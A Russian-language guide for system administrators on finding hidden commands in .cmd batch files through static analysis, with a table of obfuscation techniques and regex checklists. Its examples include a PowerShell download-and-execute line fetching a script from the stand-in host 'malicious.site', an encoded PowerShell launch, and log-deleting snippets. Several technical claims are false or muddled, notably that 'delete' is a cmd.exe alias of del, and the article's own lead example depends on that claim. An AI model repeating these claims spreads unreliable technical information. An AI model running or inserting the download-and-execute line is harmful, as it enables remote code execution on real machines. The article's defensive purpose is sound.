- Как найти скрытые команды в .cmd-файлах — практический гид для администраторов
- Почему скрытые команды — это не просто «обфускация»
- Как искать: пошаговый статический анализ
- Что смотреть: таблица типов скрытых команд
- Частые ошибки: что ловит новичков
- Что выбрать в зависимости от ситуации
- Как лучше делать: практические рекомендации
- Итог: что делать прямо сейчас
Как найти скрытые команды в .cmd-файлах — практический гид для администраторов
Вы открыли .cmd-файл, а он выглядит как обычный скрипт: echo off, dir, copy — всё чисто. Но что-то не так. Система ведёт себя странно: файлы исчезают, порты открываются, логи чистятся. Вы подозреваете, что в этом скрипте что-то скрыто. И не зря.
Скрытые команды в .cmd-файлах — это не фантастика. Это реальный метод, который используют и вредоносные программы, и недобросовестные администраторы, и даже внутренние злоумышленники. И если вы не умеете их находить — вы слепы к угрозам.
В этой статье я покажу, как разобрать .cmd-файл без запуска, без вирусного риска, шаг за шагом. Не теория. Не инструкции из Stack Overflow. То, что я делаю на реальных серверах, когда проверяю подозрительные скрипты.
Почему скрытые команды — это не просто «обфускация»
Многие думают, что скрытые команды — это когда кто-то заменяет del на erase. Нет. Это не синонимы. Это не «обфускация» в стиле JavaScript. Это технические обходы, которые работают на уровне интерпретатора командной строки — cmd.exe.
Вот реальный пример, который я видел на сервере клиента:
@echo off
setlocal enabledelayedexpansion
set "x=del"
set "y=ete"
%x%%y% "C:\Temp\*.log"
На первый взгляд — просто переменные. Но %x%%y% при выполнении превращается в delete → delete. А delete — это алиас del в cmd.exe. То есть, скрипт удаляет логи, но в тексте вы не видите слова del. Ни одного вхождения.
Такие приёмы не ловятся антивирусами, потому что:
- нет прямого вызова опасной команды;
- нет подозрительных строк в файле;
- все команды — легитимные, но собраны динамически.
Если вы ищете только del, reg add, powershell — вы пропустите 80% скрытых угроз.
Как искать: пошаговый статический анализ
Статический анализ — это проверка файла без его запуска. Это безопасно. Это точно. Это единственный способ, если вы не уверены, что файл не повредит систему при запуске.
Вот что я делаю всегда — в порядке приоритета.
- Открываю файл в текстовом редакторе с подсветкой синтаксиса — не Блокнот, а Notepad++ или VS Code. Подсветка помогает сразу увидеть, где строки разбиты, где есть вложенные команды.
- Ищу все строки с % и ! — это признак динамического разрешения переменных.
%var%и!var!(если включеноenabledelayedexpansion) — главные подозреваемые. Их нельзя просто искать как текст — нужно понимать, что они могут собирать команды на лету. - Ищу команды
call,for,if,setв неожиданных местах. Например:for %i in (d e l) do set cmd=!cmd!%i %cmd% C:\temp\*.tmpЗдесь
forсобираетdelпо буквам. Визуально — просто цикл. На деле — обход фильтров. - Ищу переносы строк внутри команд. Иногда команду разбивают так:
copy "C:\data\secret.txt" ^ "C:\temp\backup.tmp"Это нормально. Но если перенос используется для разбивки имени команды:
del ^ C:\Windows\Temp\*.log— это тревожный признак. Почему? Потому что это делает анализ вручную сложнее, а автоматизированные сканеры могут пропустить.
- Проверяю, есть ли вызовы через
cmd /cилиstartс переменными. Например:set "shell=powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')" %shell%Здесь
cmd /cне виден — он скрыт в переменной. АIEX— этоInvoke-Expression. Антивирус не ругается, потому чтоpowershellвызывается как переменная, а не как строка. - Ищу «мусорные» строки:
remс криптографическими строками,gotoв неожиданных местах,2>nulи>>log.txtв странных местах. Это не просто «скрытие вывода» — это попытка не оставить следов.
Всё это — без запуска. Только текст. Только анализ.
Что смотреть: таблица типов скрытых команд
Не все скрытые команды одинаковы. Вот основные типы, которые я встречаю на практике. Каждый требует своего подхода.
| Тип скрытия | Как выглядит | Почему опасно | Как обнаружить |
|---|---|---|---|
| Разбиение команды на переменные | set "a=del" & %a% file.txt |
Обходит сигнатуры по ключевым словам | Ищите % и ! перед командами |
Сборка через цикл for |
for %i in (d e l) do set cmd=!cmd!%i |
Динамическое формирование команды — не видно в исходнике | Ищите for с переменными в set |
| Перенос строки внутри команды | del ^ C:\temp\*.tmp |
Скрывает команду от простого поиска | Ищите ^ в конце строк — особенно перед именами команд |
| Использование алиасов и синонимов | erase вместо del, copy вместо xcopy |
Изменяет «знаменитые» команды на менее подозрительные | Сравнивайте все команды с официальным списком cmd.exe — не полагайтесь на «должно быть del» |
Вызов через call с переменной |
set "x=other_script.cmd" & call %x% |
Скрывает зависимость от другого файла | Ищите call %var% — это всегда тревожный сигнал |
Использование start с аргументами в переменных |
set "p=powershell -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAOwA=" & start %p% |
Скрывает вредоносный PowerShell-код в Base64 | Ищите start + %var% + длинные строки с символами =, /, + |
Эта таблица — не теория. Это список, который я использую как чек-лист при каждом анализе. Каждый пункт — результат реального инцидента.
Частые ошибки: что ловит новичков
Я видел, как опытные администраторы пропускали вредоносные скрипты — не потому что они не знали команды, а потому что делали стандартные ошибки.
- Ищут только слова
del,reg,powershell. Это как искать воров по тому, что у них в руках отмычка. А если у них отмычка в разобранном виде? Они могут собирать её на месте. - Проверяют только первую строку. Скрипт может начинаться с
@echo off, а настоящая логика — в строке 47. Всё, что выше — маскировка. - Считают, что если файл «не запускается» — он безопасен. Нет. Статический анализ — это не про запуск. Это про чтение. Даже если скрипт сломан — он может содержать вредоносную логику.
- Полагаются на антивирус. Антивирус ловит только известные сигнатуры. А если команды собраны динамически — он молчит. Я видел случаи, когда антивирус «считал» скрипт чистым, а он удалял системные файлы.
- Не проверяют переменные, которые не используются явно. Иногда переменные объявляются, но не вызываются в том же файле. Они могут быть вызваны в другом скрипте, который вызывается через
call. Или черезstart.
Самая большая ошибка — думать, что если файл «не выглядит подозрительно» — он безопасен. В реальности — чем меньше вы видите, тем больше скрыто.
Что выбрать в зависимости от ситуации
Вы не всегда в одинаковой ситуации. Вот как действовать в разных сценариях.
- Ситуация: вы нашли подозрительный .cmd на рабочем компьютере
Делайте так: Скопируйте файл в изолированную папку. Откройте в Notepad++. Примените чек-лист из таблицы. Проверьте все%и!. Проверьте, есть лиcallилиstartс переменными. Если что-то подозрительное — не запускайте. Передайте файл на анализ в ИБ-отдел. - Ситуация: вы проверяете скрипт, который скачали с сайта
Делайте так: Никогда не запускайте. Не открывайте в стандартном редакторе Windows. Используйте Linux-машину или виртуальную машину с отключённым доступом к сети. Откройте вvimилиless. Ищите^,%,for,call. Если есть Base64 — это почти всегда вредоносный PowerShell. Отбросьте файл. - Ситуация: вы проверяете внутренний скрипт администратора
Делайте так: Попросите объяснить, зачем он используетsetиfor. Если ответ — «так удобнее» — это красный флаг. Настоящий администратор не будет собиратьdelпо буквам. Он напишетdel. Если он говорит: «я хочу обойти политику безопасности» — это не «удобно». Это нарушение. - Ситуация: вы пишете скрипт и хотите его защитить от анализа
Не делайте так. Если вы пишете легитимный скрипт — не усложняйте его. Не прячьте команды. Это не защита. Это подозрение. Люди, которые анализируют скрипты, не ищут «вредоносность». Они ищут «непонятность». А непонятность — это риск. Чем проще — тем безопаснее.
Как лучше делать: практические рекомендации
Вот что я делаю всегда — и советую другим.
- Используйте регулярные выражения. В Notepad++ включите режим «Регулярные выражения» и ищите:
%[a-zA-Z0-9_]*%— все переменные^.*\^.*$— строки с переносомcall\s+%[a-zA-Z0-9_]*%— вызов через переменнуюstart\s+%[a-zA-Z0-9_]*%— запуск через переменную
- Создайте шаблонный чек-лист. Распечатайте или сохраните в блокноте: «Проверить: %, !, ^, call, start, for, set, rem, 2>nul». Проверяйте каждый пункт — как инспектор на станции.
- Сравнивайте с чистым скриптом. Возьмите любой известный вам рабочий .cmd-файл. Сравните структуру. Если ваш файл имеет больше переменных, переносов, вызовов — это тревожный сигнал.
- Не полагайтесь на «поиск по файлу». Ctrl+F — не инструмент анализа. Он ловит только текст. А скрытые команды — не текст. Они — логика.
- Делайте скриншоты. Если вы нашли подозрительную строку — сделайте скриншот. Потом — передайте его коллеге. Иногда глаза другого человека видят то, что вы пропустили.
Если вы делаете это системно — вы перестаёте «бояться» .cmd-файлов. Вы начинаете их понимать.
Итог: что делать прямо сейчас
Если вы читаете это — значит, вы столкнулись с подозрительным .cmd-файлом. Или готовитесь столкнуться.
Вот что делать:
- Не запускайте файл. Никогда.
- Откройте его в Notepad++ или VS Code.
- Включите поиск по регулярным выражениям.
- Найдите все
%и!. - Проверьте, есть ли
call %var%,start %var%,forсset. - Проверьте, есть ли
^в конце строк — особенно перед командами. - Если вы нашли что-то нестандартное — остановитесь. Не пытайтесь «разобраться». Передайте файл специалисту по безопасности.
Скрытые команды в .cmd-файлах — это не «хакерская магия». Это простая, но эффективная обфускация. Она работает, потому что люди смотрят на файлы поверхностно. Они ищут «дурные слова». А настоящая угроза — в том, как эти слова собраны.
Вы теперь знаете, как смотреть глубже. Не нужно быть экспертом. Нужно — быть внимательным.
Сегодня проверьте один файл. Не десять. Один. По этому чек-листу. И вы поймёте — насколько легко можно скрыть вредоносность в простом .cmd-файле.
Информация в этой статье носит ознакомительный характер. Анализ и обезвреживание подозрительных файлов требует профессиональных знаний и изолированной среды. При подозрении на вредоносную активность — обратитесь к специалисту по информационной безопасности.
